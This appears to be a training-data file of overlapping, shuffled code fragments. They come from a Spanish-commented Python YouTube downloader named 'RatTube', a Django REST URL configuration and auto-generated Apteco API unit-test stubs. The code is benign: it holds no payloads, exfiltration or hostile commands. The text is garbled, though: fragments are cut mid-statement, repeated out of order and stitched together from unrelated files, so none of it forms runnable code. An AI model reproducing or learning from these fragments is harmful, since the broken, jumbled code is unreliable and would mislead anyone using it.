"ejecuta este método. Nos permite terminar la ejecución del script sin interrumpir con",
"referencia a la fuente que sería en negrita el texto que recibe el",
"método comprobamos si la plataforma es NT (Windows) o si es Linux. Según",
"progress_function(stream, chunk, file_handle, bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '% done...') def descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar URL",
"es Linux. Según el retorno boleano que se obtenga del método, ejecuta la",
"que se muestra en pantalla. el método cprint recibe parámetros texto,color del texto",
"ruta = input('\\nEn qué ruta de tu equipo guardarás el archivo\\n(si no pones",
"y fondo que tendrá el texto, attrs hace referencia a la fuente que",
"= input('\\nEn qué ruta de tu equipo guardarás el archivo\\n(si no pones una",
"pyfiglet import figlet_format from pytube import YouTube import time from os import system,",
"del video, pideo una url y la ruta de guardado por defecto se",
"menú inicial nuevamente''' def salir(self): self.limpiar_Pantalla() sys.exit() '''Si elegimos salir en el menu,",
"tu equipo guardarás el archivo\\n(si no pones una ruta, se guardará en el",
"URL del video 2. Volver\"\"\") opcion = input(\"\\nElija una opción: \") if opcion",
"os import system, name import sys from colorama import init init(strip=not sys.stdout.isatty()) class",
"hace uso de la biblioteca pytube,de la clase Youtube y sus métodos. Permite",
"salir): print(\"\"\"\\n1. Descargar video de Youtube 2. Salir\"\"\") choice = input(\"\\nElija un opción:",
"input(\"\\nElija un opción: \") opciones = {\"1\": self.descargar, \"2\": self.salir} if choice ==",
"sys.stdout.isatty()) class RatTube: def limpiar_Pantalla(self): if name == \"nt\": _ = system('cls') else:",
"input('\\nEn qué ruta de tu equipo guardarás el archivo\\n(si no pones una ruta,",
"system('cls') else: _ = system('clear') ''' Con este método comprobamos si la plataforma",
"bytes_remaining): print(round((1-bytes_remaining/video.filesize)*100,3), '% done...') def descargar(self): self.limpiar_Mostrar_Banner() print(\"\"\"\\n\\n1. Ingresar URL del video 2.",
"(Windows) o si es Linux. Según el retorno boleano que se obtenga del",
"* 1024))) print(\"\\nTamaño del video: \", size1, \" MB aprox.\") video.download(ruta) tecla =",
"de descarga o de salida del script''' rata = RatTube() rata.limpiar_Pantalla() rata.mostrar_Banner() rata.mostrar_Menu(rata.descargar,",
"self.confirmar_Descargar() else: self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) '''Este método es para confirmar que si deseamos",
"reconoce la opción\") time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) else: eleccion = opciones[choice]() '''Muestra el",
"yt = YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\", yt.title) global video video = yt.streams.first() size1 =",
"Nos permite terminar la ejecución del script sin interrumpir con el teclado''' def",
"self.salir) else: eleccion = opciones[choice]() '''Muestra el menú inicial. Llama desde aquí a",
"la mayoría de los llamados se necesita que el banner siga ejecutándose manteniendo",
"colorama import init init(strip=not sys.stdout.isatty()) class RatTube: def limpiar_Pantalla(self): if name == \"nt\":",
"= opciones[choice]() '''Muestra el menú inicial. Llama desde aquí a los métodos necesarios",
"acciones de descarga o de salida del script''' rata = RatTube() rata.limpiar_Pantalla() rata.mostrar_Banner()",
"self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) '''Este método es para confirmar que si deseamos introducir la",
"ejecutándose manteniendo la pantalla limpia para dar enfoque a la tarea de descarga'''",
"es para confirmar que si deseamos introducir la url del video. Si no",
"Linux. Según el retorno boleano que se obtenga del método, ejecuta la instrucción",
"fuentes que contiene la biblioteca pyfiglet''' def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner() '''Este método limpia",
"la tarea de descarga''' def confirmar_Descargar(self): url = input('\\n\\nIngresa la URL del video:",
"= yt.streams.first() size1 = str(round(video.filesize / (1024 * 1024))) print(\"\\nTamaño del video: \",",
"en el menu, se ejecuta este método. Nos permite terminar la ejecución del",
"se muestra en pantalla. el método cprint recibe parámetros texto,color del texto y",
"banner que se muestra en pantalla. el método cprint recibe parámetros texto,color del",
"uso de la biblioteca pytube,de la clase Youtube y sus métodos. Permite realizar",
"se obtenga del método, ejecuta la instrucción usada en dicha plataforma para limpiar",
"import YouTube import time from os import system, name import sys from colorama",
"del video: ') ruta = input('\\nEn qué ruta de tu equipo guardarás el",
"confirmar que si deseamos introducir la url del video. Si no nos hemos",
"podremos dar en volver, ejecutando el método limpiar_Mostrar_Banner y llamando al menú inicial",
"se reconoce la opción\") time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) else: eleccion = opciones[choice]() '''Muestra",
"descarga''' def confirmar_Descargar(self): url = input('\\n\\nIngresa la URL del video: ') ruta =",
"url = input('\\n\\nIngresa la URL del video: ') ruta = input('\\nEn qué ruta",
"= YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\", yt.title) global video video = yt.streams.first() size1 = str(round(video.filesize",
"ejecutando el método limpiar_Mostrar_Banner y llamando al menú inicial nuevamente''' def salir(self): self.limpiar_Pantalla()",
"def limpiar_Pantalla(self): if name == \"nt\": _ = system('cls') else: _ = system('clear')",
"volver, ejecutando el método limpiar_Mostrar_Banner y llamando al menú inicial nuevamente''' def salir(self):",
"métodos juntos porque en la mayoría de los llamados se necesita que el",
"los métodos necesarios para ejecutar las acciones de descarga o de salida del",
"choice = input(\"\\nElija un opción: \") opciones = {\"1\": self.descargar, \"2\": self.salir} if",
"este método. Nos permite terminar la ejecución del script sin interrumpir con el",
"cprint from pyfiglet import figlet_format from pytube import YouTube import time from os",
"while choice not in opciones: print(\"\\nNo se reconoce la opción\") time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar,",
"descargar, salir): print(\"\"\"\\n1. Descargar video de Youtube 2. Salir\"\"\") choice = input(\"\\nElija un",
"parámetros texto,color del texto y fondo que tendrá el texto, attrs hace referencia",
"Copyright 2020 <NAME> <<EMAIL>> # from termcolor import cprint from pyfiglet import figlet_format",
"# # Copyright 2020 <NAME> <<EMAIL>> # from termcolor import cprint from pyfiglet",
"sus métodos. Permite realizar la descarga del video, pideo una url y la",
"aquí a los métodos necesarios para ejecutar las acciones de descarga o de",
"que tendrá el texto, attrs hace referencia a la fuente que sería en",
"elegir fuentes que contiene la biblioteca pyfiglet''' def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner() '''Este método",
"tecla = input(\"\\nPresione cualquier tecla para terminar\") time.sleep(3) print(\"\\n\\nAdiós\") '''Este método hace uso",
"import system, name import sys from colorama import init init(strip=not sys.stdout.isatty()) class RatTube:",
"en negrita el texto que recibe el método cprint es lo que se",
"# from termcolor import cprint from pyfiglet import figlet_format from pytube import YouTube",
"y llamando al menú inicial nuevamente''' def salir(self): self.limpiar_Pantalla() sys.exit() '''Si elegimos salir",
"el directorio del script)? ') yt = YouTube(url, on_progress_callback=self.progress_function) print(\"\\n\", yt.title) global video",
"confirmar_Descargar(self): url = input('\\n\\nIngresa la URL del video: ') ruta = input('\\nEn qué",
"else: eleccion = opciones[choice]() '''Muestra el menú inicial. Llama desde aquí a los",
"2020 <NAME> <<EMAIL>> # from termcolor import cprint from pyfiglet import figlet_format from",
"banner siga ejecutándose manteniendo la pantalla limpia para dar enfoque a la tarea",
"terminar la ejecución del script sin interrumpir con el teclado''' def mostrar_Menu(self, descargar,",
"= system('cls') else: _ = system('clear') ''' Con este método comprobamos si la",
"from os import system, name import sys from colorama import init init(strip=not sys.stdout.isatty())",
"terminar\") time.sleep(3) print(\"\\n\\nAdiós\") '''Este método hace uso de la biblioteca pytube,de la clase",
"caso que no podremos dar en volver, ejecutando el método limpiar_Mostrar_Banner y llamando",
"aprox.\") video.download(ruta) tecla = input(\"\\nPresione cualquier tecla para terminar\") time.sleep(3) print(\"\\n\\nAdiós\") '''Este método",
"método figlet_format que lo convierte en ascii art y nos permite elegir fuentes",
"al menú inicial nuevamente''' def salir(self): self.limpiar_Pantalla() sys.exit() '''Si elegimos salir en el",
"equipo guardarás el archivo\\n(si no pones una ruta, se guardará en el directorio",
"la biblioteca pyfiglet''' def limpiar_Mostrar_Banner(self): self.limpiar_Pantalla() self.mostrar_Banner() '''Este método limpia la pantalla y",
"str(round(video.filesize / (1024 * 1024))) print(\"\\nTamaño del video: \", size1, \" MB aprox.\")",
"self.salir} if choice == \"1\": eleccion = opciones[choice]() while choice not in opciones:",
"del método, ejecuta la instrucción usada en dicha plataforma para limpiar la consola'''",
"opción\") time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) else: eleccion = opciones[choice]() '''Muestra el menú inicial.",
"choice == \"1\": eleccion = opciones[choice]() while choice not in opciones: print(\"\\nNo se",
"no nos hemos equivocado, confirmaremos que pondremos la url, en caso que no",
"self.limpiar_Pantalla() self.mostrar_Banner() '''Este método limpia la pantalla y muestra el banner. Se usa",
"la ejecución del script sin interrumpir con el teclado''' def mostrar_Menu(self, descargar, salir):",
"YouTube import time from os import system, name import sys from colorama import",
"nos hemos equivocado, confirmaremos que pondremos la url, en caso que no podremos",
"biblioteca pytube,de la clase Youtube y sus métodos. Permite realizar la descarga del",
"método cprint es lo que se obtiene de formatearlo con el método figlet_format",
"<NAME> <<EMAIL>> # from termcolor import cprint from pyfiglet import figlet_format from pytube",
"banner. Se usa llamando los dos métodos juntos porque en la mayoría de",
"def salir(self): self.limpiar_Pantalla() sys.exit() '''Si elegimos salir en el menu, se ejecuta este",
"== \"nt\": _ = system('cls') else: _ = system('clear') ''' Con este método",
"import cprint from pyfiglet import figlet_format from pytube import YouTube import time from",
"la opción\") time.sleep(5) self.limpiar_Mostrar_Banner() self.mostrar_Menu(self.descargar, self.salir) else: eleccion = opciones[choice]() '''Muestra el menú",
"# Copyright 2020 <NAME> <<EMAIL>> # from termcolor import cprint from pyfiglet import",
"init(strip=not sys.stdout.isatty()) class RatTube: def limpiar_Pantalla(self): if name == \"nt\": _ = system('cls')",
"salir(self): self.limpiar_Pantalla() sys.exit() '''Si elegimos salir en el menu, se ejecuta este método.",
"inicial nuevamente''' def salir(self): self.limpiar_Pantalla() sys.exit() '''Si elegimos salir en el menu, se"
] |
[
"api from django.urls import path urlpatterns = [ path('translate/', api.TranslateViewSet.as_view(), name='translate'), path('response/', api.ResponseViewSet.as_view(),",
"routers from .api import * from . import api from django.urls import path",
"from .api import * from . import api from django.urls import path urlpatterns",
"import api from django.urls import path urlpatterns = [ path('translate/', api.TranslateViewSet.as_view(), name='translate'), path('response/',",
"from django.urls import path urlpatterns = [ path('translate/', api.TranslateViewSet.as_view(), name='translate'), path('response/', api.ResponseViewSet.as_view(), name='response'),",
"django.urls import path urlpatterns = [ path('translate/', api.TranslateViewSet.as_view(), name='translate'), path('response/', api.ResponseViewSet.as_view(), name='response'), ]",
"import routers from .api import * from . import api from django.urls import",
"from rest_framework import routers from .api import * from . import api from",
". import api from django.urls import path urlpatterns = [ path('translate/', api.TranslateViewSet.as_view(), name='translate'),",
"* from . import api from django.urls import path urlpatterns = [ path('translate/',",
"rest_framework import routers from .api import * from . import api from django.urls",
"import * from . import api from django.urls import path urlpatterns = [",
".api import * from . import api from django.urls import path urlpatterns =",
"from . import api from django.urls import path urlpatterns = [ path('translate/', api.TranslateViewSet.as_view(),"
] |
[
"acknowledged. from ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser import BrowserView as View from zope.component",
"layer = IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self): self.context = self.layer['portal'] self.request = self.layer['app'].REQUEST self.view =",
"# encoding: utf-8 # Copyright 2012 California Institute of Technology. ALL RIGHTS #",
"encoding: utf-8 # Copyright 2012 California Institute of Technology. ALL RIGHTS # RESERVED.",
"Sponsorship acknowledged. from ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser import BrowserView as View from",
"as unittest class ViewletTest(unittest.TestCase): layer = IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self): self.context = self.layer['portal'] self.request",
"classes implement proper interfaces''' from ipdasite.theme.browser.agencies import AgenciesViewlet self.failUnless(IViewlet.implementedBy(AgenciesViewlet)) def test_suite(): return unittest.defaultTestLoader.loadTestsFromName(__name__)",
"self.context = self.layer['portal'] self.request = self.layer['app'].REQUEST self.view = View(self.context, self.request) def testViewletInterfaces(self): '''Ensure",
"Products.Five.browser import BrowserView as View from zope.component import getMultiAdapter from zope.viewlet.interfaces import IViewlet,",
"IViewlet, IViewletManager import unittest2 as unittest class ViewletTest(unittest.TestCase): layer = IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self):",
"utf-8 # Copyright 2012 California Institute of Technology. ALL RIGHTS # RESERVED. U.S.",
"ViewletTest(unittest.TestCase): layer = IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self): self.context = self.layer['portal'] self.request = self.layer['app'].REQUEST self.view",
"def setUp(self): self.context = self.layer['portal'] self.request = self.layer['app'].REQUEST self.view = View(self.context, self.request) def",
"self.view = View(self.context, self.request) def testViewletInterfaces(self): '''Ensure viewlet classes implement proper interfaces''' from",
"unittest2 as unittest class ViewletTest(unittest.TestCase): layer = IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self): self.context = self.layer['portal']",
"ipdasite.theme.browser.agencies import AgenciesViewlet self.failUnless(IViewlet.implementedBy(AgenciesViewlet)) def test_suite(): return unittest.defaultTestLoader.loadTestsFromName(__name__) if __name__ == '__main__': unittest.main(defaultTest='test_suite')",
"zope.viewlet.interfaces import IViewlet, IViewletManager import unittest2 as unittest class ViewletTest(unittest.TestCase): layer = IPDA_SITE_THEME_INTEGRATION_TESTING",
"def testViewletInterfaces(self): '''Ensure viewlet classes implement proper interfaces''' from ipdasite.theme.browser.agencies import AgenciesViewlet self.failUnless(IViewlet.implementedBy(AgenciesViewlet))",
"ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser import BrowserView as View from zope.component import getMultiAdapter",
"self.request) def testViewletInterfaces(self): '''Ensure viewlet classes implement proper interfaces''' from ipdasite.theme.browser.agencies import AgenciesViewlet",
"2012 California Institute of Technology. ALL RIGHTS # RESERVED. U.S. Government Sponsorship acknowledged.",
"from Products.Five.browser import BrowserView as View from zope.component import getMultiAdapter from zope.viewlet.interfaces import",
"from zope.viewlet.interfaces import IViewlet, IViewletManager import unittest2 as unittest class ViewletTest(unittest.TestCase): layer =",
"from ipdasite.theme.browser.agencies import AgenciesViewlet self.failUnless(IViewlet.implementedBy(AgenciesViewlet)) def test_suite(): return unittest.defaultTestLoader.loadTestsFromName(__name__) if __name__ == '__main__':",
"= self.layer['app'].REQUEST self.view = View(self.context, self.request) def testViewletInterfaces(self): '''Ensure viewlet classes implement proper",
"class ViewletTest(unittest.TestCase): layer = IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self): self.context = self.layer['portal'] self.request = self.layer['app'].REQUEST",
"IViewletManager import unittest2 as unittest class ViewletTest(unittest.TestCase): layer = IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self): self.context",
"viewlet classes implement proper interfaces''' from ipdasite.theme.browser.agencies import AgenciesViewlet self.failUnless(IViewlet.implementedBy(AgenciesViewlet)) def test_suite(): return",
"from ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser import BrowserView as View from zope.component import",
"interfaces''' from ipdasite.theme.browser.agencies import AgenciesViewlet self.failUnless(IViewlet.implementedBy(AgenciesViewlet)) def test_suite(): return unittest.defaultTestLoader.loadTestsFromName(__name__) if __name__ ==",
"View(self.context, self.request) def testViewletInterfaces(self): '''Ensure viewlet classes implement proper interfaces''' from ipdasite.theme.browser.agencies import",
"Copyright 2012 California Institute of Technology. ALL RIGHTS # RESERVED. U.S. Government Sponsorship",
"RESERVED. U.S. Government Sponsorship acknowledged. from ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser import BrowserView",
"import IViewlet, IViewletManager import unittest2 as unittest class ViewletTest(unittest.TestCase): layer = IPDA_SITE_THEME_INTEGRATION_TESTING def",
"self.request = self.layer['app'].REQUEST self.view = View(self.context, self.request) def testViewletInterfaces(self): '''Ensure viewlet classes implement",
"Institute of Technology. ALL RIGHTS # RESERVED. U.S. Government Sponsorship acknowledged. from ipdasite.theme.testing",
"# Copyright 2012 California Institute of Technology. ALL RIGHTS # RESERVED. U.S. Government",
"Technology. ALL RIGHTS # RESERVED. U.S. Government Sponsorship acknowledged. from ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING",
"from zope.component import getMultiAdapter from zope.viewlet.interfaces import IViewlet, IViewletManager import unittest2 as unittest",
"'''Ensure viewlet classes implement proper interfaces''' from ipdasite.theme.browser.agencies import AgenciesViewlet self.failUnless(IViewlet.implementedBy(AgenciesViewlet)) def test_suite():",
"RIGHTS # RESERVED. U.S. Government Sponsorship acknowledged. from ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser",
"getMultiAdapter from zope.viewlet.interfaces import IViewlet, IViewletManager import unittest2 as unittest class ViewletTest(unittest.TestCase): layer",
"IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser import BrowserView as View from zope.component import getMultiAdapter from zope.viewlet.interfaces",
"zope.component import getMultiAdapter from zope.viewlet.interfaces import IViewlet, IViewletManager import unittest2 as unittest class",
"ALL RIGHTS # RESERVED. U.S. Government Sponsorship acknowledged. from ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING from",
"View from zope.component import getMultiAdapter from zope.viewlet.interfaces import IViewlet, IViewletManager import unittest2 as",
"= self.layer['portal'] self.request = self.layer['app'].REQUEST self.view = View(self.context, self.request) def testViewletInterfaces(self): '''Ensure viewlet",
"= View(self.context, self.request) def testViewletInterfaces(self): '''Ensure viewlet classes implement proper interfaces''' from ipdasite.theme.browser.agencies",
"import unittest2 as unittest class ViewletTest(unittest.TestCase): layer = IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self): self.context =",
"California Institute of Technology. ALL RIGHTS # RESERVED. U.S. Government Sponsorship acknowledged. from",
"as View from zope.component import getMultiAdapter from zope.viewlet.interfaces import IViewlet, IViewletManager import unittest2",
"unittest class ViewletTest(unittest.TestCase): layer = IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self): self.context = self.layer['portal'] self.request =",
"import BrowserView as View from zope.component import getMultiAdapter from zope.viewlet.interfaces import IViewlet, IViewletManager",
"setUp(self): self.context = self.layer['portal'] self.request = self.layer['app'].REQUEST self.view = View(self.context, self.request) def testViewletInterfaces(self):",
"import getMultiAdapter from zope.viewlet.interfaces import IViewlet, IViewletManager import unittest2 as unittest class ViewletTest(unittest.TestCase):",
"proper interfaces''' from ipdasite.theme.browser.agencies import AgenciesViewlet self.failUnless(IViewlet.implementedBy(AgenciesViewlet)) def test_suite(): return unittest.defaultTestLoader.loadTestsFromName(__name__) if __name__",
"Government Sponsorship acknowledged. from ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser import BrowserView as View",
"BrowserView as View from zope.component import getMultiAdapter from zope.viewlet.interfaces import IViewlet, IViewletManager import",
"U.S. Government Sponsorship acknowledged. from ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser import BrowserView as",
"self.layer['portal'] self.request = self.layer['app'].REQUEST self.view = View(self.context, self.request) def testViewletInterfaces(self): '''Ensure viewlet classes",
"IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self): self.context = self.layer['portal'] self.request = self.layer['app'].REQUEST self.view = View(self.context, self.request)",
"# RESERVED. U.S. Government Sponsorship acknowledged. from ipdasite.theme.testing import IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser import",
"testViewletInterfaces(self): '''Ensure viewlet classes implement proper interfaces''' from ipdasite.theme.browser.agencies import AgenciesViewlet self.failUnless(IViewlet.implementedBy(AgenciesViewlet)) def",
"of Technology. ALL RIGHTS # RESERVED. U.S. Government Sponsorship acknowledged. from ipdasite.theme.testing import",
"implement proper interfaces''' from ipdasite.theme.browser.agencies import AgenciesViewlet self.failUnless(IViewlet.implementedBy(AgenciesViewlet)) def test_suite(): return unittest.defaultTestLoader.loadTestsFromName(__name__) if",
"= IPDA_SITE_THEME_INTEGRATION_TESTING def setUp(self): self.context = self.layer['portal'] self.request = self.layer['app'].REQUEST self.view = View(self.context,",
"self.layer['app'].REQUEST self.view = View(self.context, self.request) def testViewletInterfaces(self): '''Ensure viewlet classes implement proper interfaces'''",
"import IPDA_SITE_THEME_INTEGRATION_TESTING from Products.Five.browser import BrowserView as View from zope.component import getMultiAdapter from"
] |
[
"OrbitAdmin: Returns all the current reset password requests in the system. # noqa:",
"email address exists and then issue a confirmation notification # noqa: E501 \"\"\"",
"allow access to Apteco Marketing Suite resources # noqa: E501 The version of",
"from apteco_api.rest import ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit test stubs\"\"\" def setUp(self): self.api",
"a confirmation notification # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case for",
"v2 Contact: <EMAIL> Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest",
"unit test stubs\"\"\" def setUp(self): self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa: E501 def tearDown(self):",
"\"\"\" Apteco API An API to allow access to Apteco Marketing Suite resources",
"case for user_reset_password_requests_create_reset_password_request Creates a new reset password requests, which will check that",
"for user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin: Returns all the current reset password requests in the",
"E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_request Requires OrbitAdmin: Returns details",
"ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit test stubs\"\"\" def setUp(self): self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() #",
"E501 \"\"\" pass def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_create_reset_password_request Creates a new reset",
"OrbitAdmin: Returns details for a given reset password request # noqa: E501 \"\"\"",
"# noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_request Requires OrbitAdmin:",
"for a given reset password request # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_requests(self):",
"Marketing Suite resources # noqa: E501 The version of the OpenAPI document: v2",
"changes the password # noqa: E501 \"\"\" pass def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case for",
"Returns details for a given reset password request # noqa: E501 \"\"\" pass",
"import UserResetPasswordRequestsApi # noqa: E501 from apteco_api.rest import ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit",
"pass def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_confirm_reset_password_request Confirms a given reset password request",
"requests, which will check that the provided email address exists and then issue",
"to Apteco Marketing Suite resources # noqa: E501 The version of the OpenAPI",
"a given reset password request # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test",
"# noqa: E501 \"\"\" pass def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_create_reset_password_request Creates a",
"by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest import apteco_api from apteco_api.api.user_reset_password_requests_api",
"self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa: E501 def tearDown(self): pass def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case",
"in the system. # noqa: E501 \"\"\" pass if __name__ == '__main__': unittest.main()",
"OpenAPI document: v2 Contact: <EMAIL> Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import",
"import ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit test stubs\"\"\" def setUp(self): self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi()",
"of the OpenAPI document: v2 Contact: <EMAIL> Generated by: https://openapi-generator.tech \"\"\" from __future__",
"current reset password requests in the system. # noqa: E501 \"\"\" pass if",
"test stubs\"\"\" def setUp(self): self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa: E501 def tearDown(self): pass",
"access to Apteco Marketing Suite resources # noqa: E501 The version of the",
"apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi # noqa: E501 from apteco_api.rest import ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi",
"notification # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_request Requires",
"password requests, which will check that the provided email address exists and then",
"test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin: Returns all the current reset password",
"def tearDown(self): pass def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_confirm_reset_password_request Confirms a given reset",
"\"\"\"Test case for user_reset_password_requests_get_reset_password_request Requires OrbitAdmin: Returns details for a given reset password",
"noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin: Returns",
"E501 from apteco_api.rest import ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit test stubs\"\"\" def setUp(self):",
"= apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa: E501 def tearDown(self): pass def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case for",
"setUp(self): self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa: E501 def tearDown(self): pass def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test",
"def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_confirm_reset_password_request Confirms a given reset password request and",
"noqa: E501 The version of the OpenAPI document: v2 Contact: <EMAIL> Generated by:",
"reset password requests in the system. # noqa: E501 \"\"\" pass if __name__",
"for user_reset_password_requests_get_reset_password_request Requires OrbitAdmin: Returns details for a given reset password request #",
"user_reset_password_requests_get_reset_password_request Requires OrbitAdmin: Returns details for a given reset password request # noqa:",
"for user_reset_password_requests_confirm_reset_password_request Confirms a given reset password request and changes the password #",
"The version of the OpenAPI document: v2 Contact: <EMAIL> Generated by: https://openapi-generator.tech \"\"\"",
"Apteco API An API to allow access to Apteco Marketing Suite resources #",
"will check that the provided email address exists and then issue a confirmation",
"a new reset password requests, which will check that the provided email address",
"noqa: E501 from apteco_api.rest import ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit test stubs\"\"\" def",
"user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin: Returns all the current reset password requests in the system.",
"def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_request Requires OrbitAdmin: Returns details for a given",
"UserResetPasswordRequestsApi # noqa: E501 from apteco_api.rest import ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit test",
"password request # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_requests",
"all the current reset password requests in the system. # noqa: E501 \"\"\"",
"given reset password request and changes the password # noqa: E501 \"\"\" pass",
"An API to allow access to Apteco Marketing Suite resources # noqa: E501",
"Suite resources # noqa: E501 The version of the OpenAPI document: v2 Contact:",
"\"\"\" from __future__ import absolute_import import unittest import apteco_api from apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi",
"\"\"\" pass def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_create_reset_password_request Creates a new reset password",
"<EMAIL> Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest import apteco_api",
"the current reset password requests in the system. # noqa: E501 \"\"\" pass",
"confirmation notification # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_request",
"API to allow access to Apteco Marketing Suite resources # noqa: E501 The",
"absolute_import import unittest import apteco_api from apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi # noqa: E501 from",
"\"\"\"UserResetPasswordRequestsApi unit test stubs\"\"\" def setUp(self): self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa: E501 def",
"case for user_reset_password_requests_get_reset_password_request Requires OrbitAdmin: Returns details for a given reset password request",
"\"\"\" pass def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin: Returns all the",
"pass def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin: Returns all the current",
"https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest import apteco_api from apteco_api.api.user_reset_password_requests_api import",
"request # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_requests Requires",
"# coding: utf-8 \"\"\" Apteco API An API to allow access to Apteco",
"request and changes the password # noqa: E501 \"\"\" pass def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test",
